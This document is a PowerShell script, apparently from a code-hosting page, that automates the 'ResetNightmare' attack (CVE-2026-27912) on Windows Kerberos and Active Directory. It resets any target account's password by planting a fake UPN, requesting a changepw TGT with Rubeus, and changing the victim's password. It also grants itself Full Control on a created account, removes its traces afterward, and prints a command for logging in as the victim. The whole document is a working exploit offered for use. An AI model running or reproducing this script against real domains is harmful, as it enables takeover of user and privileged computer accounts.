Windows Kerberos — ResetNightmare: Arbitrary Password Reset via Change Password Protocol Validation Flaw (CVE-2026-27912)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214

function Invoke-ResetNightmare {
    <#
    .SYNOPSIS
        Automatically run ResetNightmare (CVE-2026-27912) attack steps,
        resetting a target account's password using a TGT for a user with a fake UPN.
    .DESCRIPTION
        This script will attempt to reset a target account's password by leveraging ResetNightmare.
        The script uses:
        - Rubeus.exe (tested with Rubeus compiled with .NET Framework 4.6.2)
        - The PowerShell ActiveDirectory module
        The script automatically uses the current directory for storing the TGT ticket file, and will delete it after the attack is complete.
    .PARAMETER TargetAccount
        The SamAccountName of the attack's target (the account to reset the password for).
        If targeting a computer account, make sure to use it's SamAccountName (ending with $, e.g. "server$").
    .PARAMETER TargetNewPassword
        The new password to set for TargetAccount.
    .PARAMETER UPNUser
        The account to which the you can write a UPN, or the account to create if -CreateNewPath is specified.
    .PARAMETER UPNUserPassword
        Cleartext password to UPNUser.
    .PARAMETER Computer
        Optional switch. If specified, UPNUser is treated as a computer account.
        If combined with -CreateNewPath, a computer account will be created instead of a user account.
        This has no impact over TargetAccount; both user and computer accounts can be targeted.
    .PARAMETER RubeusPath
        Optional. The path to the Rubeus executable. Default is ".\Rubeus.exe".
    .PARAMETER SupportedEncryption
        Optional. The supported encryption type for the TGT. The default value is "AES256" and should work for most cases.
        If changing this is needed, the supported values are:
        DES|RC4|AES128|AES256
    .PARAMETER CreateNewPath
        Optional.
        DistinguishedName to an OU/Container where you have permissions to create objects.
        If specified, the -UPNUser and -UPNUserPassword parameters will be the credentials of the user to create, instead of using an existing user.
    .PARAMETER DC
        Optional. Name of the DC to operate against. This is automatically resolved if not specified.
    #>
    Param(
        [Parameter(Mandatory=$True)][String]$TargetAccount,
        [Parameter(Mandatory=$True)][String]$TargetNewPassword,
        [Parameter(Mandatory=$True)][String]$UPNUser,
        [Parameter(Mandatory=$True)][String]$UPNUserPassword,
        [Parameter(Mandatory=$False)][Switch]$Computer,
        [Parameter(Mandatory=$False)][String]$RubeusPath=".\Rubeus.exe",
        [Parameter(Mandatory=$False)][String]$SupportedEncryption="AES256",
        [Parameter(Mandatory=$False)][String]$CreateNewPath="",
        [Parameter(Mandatory=$False)][String]$DC
    )
    if (-not (Get-Module -Name ActiveDirectory -ListAvailable)) {
        throw "[*] Please make sure the ActiveDirectory module is installed. Quitting..."
    }

    if (-not (Test-Path $RubeusPath)) {
        throw "[*] Couldn't find Rubeus executable. Provide a valid path in the -RubeusPath parameter."
    }

    if (-not $DC) {
        $DC = (Get-ADDomainController).Name
    }

    $outfile = [System.IO.Path]::Combine($PWD,"TGT.kirbi")
    if (Test-Path $outfile) {
        $choice = Read-Host "Output TGT path $outfile already exists. Delete the file? (y/n)"
        if ($choice -eq "y") {
            Remove-Item -Path $outfile
        }
        else {
            return "Quitting..."
        }
    }

    if ($CreateNewPath) {
        if ($Computer) {
            Write-Host "[*] Creating computer $UPNUser in $CreateNewPath..."
            try {
                $newUserDN = (New-ADComputer -Name $UPNUser -Path $CreateNewPath -PassThru -Server $DC).DistinguishedName
            }
            catch {
                throw "Couldn't create a computer in $CreateNewPath."
            }
        }
        else {        
            Write-Host "[*] Creating user $UPNUser in $CreateNewPath..."
            try {
                $newUserDN = (New-ADUser -Name $UPNUser -Path $CreateNewPath -PassThru -Server $DC).DistinguishedName
            }
            catch {
                throw "Couldn't create a user in $CreateNewPath."
            }
        }
        Write-Host "[*] Getting Full Control rights on $UPNUser for $($env:USERNAME)"
        try {
            New-PSDrive -Name "TargetDC" -PSProvider ActiveDirectory -Server $DC -Root "//RootDSE/" | Out-Null
            $oldACL = Get-Acl "TargetDC:$newUserDN"
            $mySID = [System.Security.Principal.SecurityIdentifier]"$((Get-ADUser $env:USERNAME -Server $DC).SID.Value)"
            $myACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($mySID,"GenericAll","Allow",'None',[Guid]::Empty)
            $oldACL.AddAccessRule($myACE)
            Set-Acl -AclObject $oldACL "TargetDC:$newUserDN"
            Remove-PSDrive -Name "TargetDC"
        }
        catch {
            throw "Couldn't modify permissions on $newUserDN."
        }

        Write-Host "[*] Resetting $UPNUser's password to $UPNUserPassword"
        Set-ADAccountPassword -Identity $newUserDN -Reset -NewPassword (ConvertTo-SecureString -AsPlainText $UPNUserPassword -Force) -Server $DC

        Write-Host "[*] Enabling $UPNUser..."
        if ($Computer) {
            Set-ADComputer $UPNUser -Enabled $true -Server $DC
        }
        else {
            Set-ADUser $UPNUser -Enabled $true -Server $DC
        }
    }

    try {
        $targetSAN = (Get-ADUser $TargetAccount -Server $DC).samaccountname
    }
    catch {
        try {
            $targetSAN = (Get-ADObject -LDAPFilter "samaccountname=$TargetAccount" -Properties SamAccountName -Server $DC).samaccountname
        }
        catch {
            throw "Couldn't find a principal named $TargetAccount."
        }
    }

    try {
        if ($Computer) {
            $uu = Get-ADComputer $UPNUser -Properties UserPrincipalName -Server $DC
        }
        else {
            $uu = Get-ADUser $UPNUser -Properties UserPrincipalName -Server $DC
        }
        if ($uu.UserPrincipalName) {
            $oldUPN = $uu.UserPrincipalName
        }
    }
    catch {
        throw "Couldn't find an account named $UPNUser."
    }

    # Set UPN and verify it's presence
    Write-Host "[*] Setting a fake UPN for $UPNUser..."
    try {
        if ($Computer) {
            Set-ADComputer $UPNUser -UserPrincipalName $targetSAN -Server $DC
        }
        else {
            Set-ADUser $UPNUser -UserPrincipalName $targetSAN -Server $DC
        }
        while (-not (Get-ADObject -LDAPFilter "userprincipalname=$targetSAN" -Server $DC)){
            Start-Sleep -Seconds 1
        }
    }
    catch {
        throw "Failed to set a UPN on $UPNUser. Verify that the running context has the required permissions."
    }

    Write-Host "[*] Asking for a TGT for $UPNUser with the name $targetSAN (NT_ENTERPRISE) for kadmin/changepw..."
    Start-Sleep -Seconds 1
    & $RubeusPath asktgt /user:$targetSAN /password:$UPNUserPassword /principaltype:enterprise /outfile:$outfile /suppenctype:$SupportedEncryption /changepw /dc:$DC | Out-Null
    if (-not (Test-Path $outfile)) {
        throw "[*] failed to get a TGT for $UPNUser with the name $targetSAN (NT_ENTERPRISE)"
    }

    # Clear UPN
    Write-Host "[*] Clearing fake UPN from $UPNUser..."
    if ($Computer) {
        Set-ADComputer $UPNUser -Clear UserPrincipalName -Server $DC
    }
    else {
        Set-ADUser $UPNUser -Clear UserPrincipalName -Server $DC
    }
    while (Get-ADObject -LDAPFilter "userprincipalname=$targetSAN" -Server $DC){
        Start-Sleep -Seconds 1
    }

    Start-Sleep -Seconds 1
    Write-Host "[*] Attempting to change $targetSAN's password to $TargetNewPassword..."
    $changepw = & $RubeusPath changepw /ticket:$outfile /new:$TargetNewPassword /dc:$DC
    if (($changepw.split([Environment]::NewLine) | select -Last 1) -ne "[+] Password change success!" -and ($changepw.split([Environment]::NewLine) | select -Last 2 | select -First 1) -notmatch "KDC_ERR_NONE") {
        Write-Host "Something went wrong. changepw output:`n$($changepw -join [Environment]::NewLine)"
        return
    }

    # Attack should have succeeded, cleaning up
    Write-Host "[*] Cleaning up files..."
    try {
        Remove-Item -Path $outfile
    }
    catch {
        "[*] Warning: couldn't delete file $outfile"
    }
    if ($oldUPN) {
        Write-Host "[*] Restoring original UPN value..."
        if ($Computer) {
            Set-ADComputer $UPNUser -UserPrincipalName $oldUPN -Server $DC
        }
        else {
            Set-ADUser $UPNUser -UserPrincipalName $oldUPN -Server $DC
        }

        while (-not (Get-ADObject -LDAPFilter "userprincipalname=$oldUPN" -Server $DC)){
            Start-Sleep -Seconds 1
        }
    }
    $command = "Rubeus.exe asktgt /user:$targetSAN /password:$TargetNewPassword /suppenctype:$SupportedEncryption /nowrap /createnetonly:cmd.exe /show"
    Write-Host
    Write-Host "Success! You can now authenticate as $targetSAN with the password $TargetNewPassword"
    Write-Host "To spawn a new netonly process:"
    Write-Host $command
}